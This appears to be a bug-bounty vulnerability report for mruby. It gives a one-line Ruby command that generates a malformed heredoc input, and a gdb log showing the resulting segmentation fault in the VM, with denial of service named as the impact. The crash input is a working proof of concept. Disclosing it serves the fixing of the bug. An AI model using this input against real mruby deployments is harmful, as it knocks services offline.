mruby heredoc notation

How it was found

Hi There exists a vulnerability in mruby when using the heredoc notation (it doesn't need ulimit)

The minified test can be generated with the following command:

ruby -e 'IO.binwrite("j_3_.rb", "\xa7<l while\x270\x27><<i\x00" + ("\x0a" * 0x3ffd) + "i\x0a")'

log:

root@Ubuntu-1604-xenial-64-minimal ~/jtest/mruby/bin # ulimit -Sv unlimited; ruby -e 'IO.binwrite("j_3_.rb", "\xa7<l while\x270\x27><<i\x00" + ("\x0a" * 0x3ffd) + "i\x0a")'; rm core; ulimit -c unlimited; ./mruby j_3_.rb; gdb ./mruby core
Segmentation fault (core dumped)
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./mruby...done.
[New LWP 32567]
Core was generated by `./mruby j_3_.rb'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000041c7c2 in mrb_vm_exec (mrb=0xae2010, proc=0xd66440, pc=0x7ff884d18014)
    at /root/jtest/mruby/src/vm.c:1231
1231            JUMP;
(gdb) x/5i $rip
=> 0x41c7c2 <mrb_vm_exec+4535>: mov    (%rax),%eax
   0x41c7c4 <mrb_vm_exec+4537>: mov    %eax,-0x8e0(%rbp)
   0x41c7ca <mrb_vm_exec+4543>: mov    -0x8e0(%rbp),%eax
   0x41c7d0 <mrb_vm_exec+4549>: and    $0x7f,%eax
   0x41c7d3 <mrb_vm_exec+4552>: cltq
(gdb) i r
rax            0x7ff884d18014   140705356939284
rbx            0x0      0
rcx            0xaf7810 11499536
rdx            0x10     16
rsi            0x3      3
rdi            0xae2010 11411472
rbp            0x7ffcbd6af3b0   0x7ffcbd6af3b0
rsp            0x7ffcbd6aeaa0   0x7ffcbd6aeaa0
r8             0x414829 4278313
r9             0x42f0fd 4387069
r10            0x7ff884817b78   140705351695224
r11            0x2e08   11784
r12            0x4019c0 4200896
r13            0x7ffcbd6af7e0   140723486390240
r14            0x0      0
r15            0x0      0
rip            0x41c7c2 0x41c7c2 <mrb_vm_exec+4535>
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

Thanks

Impact

DoS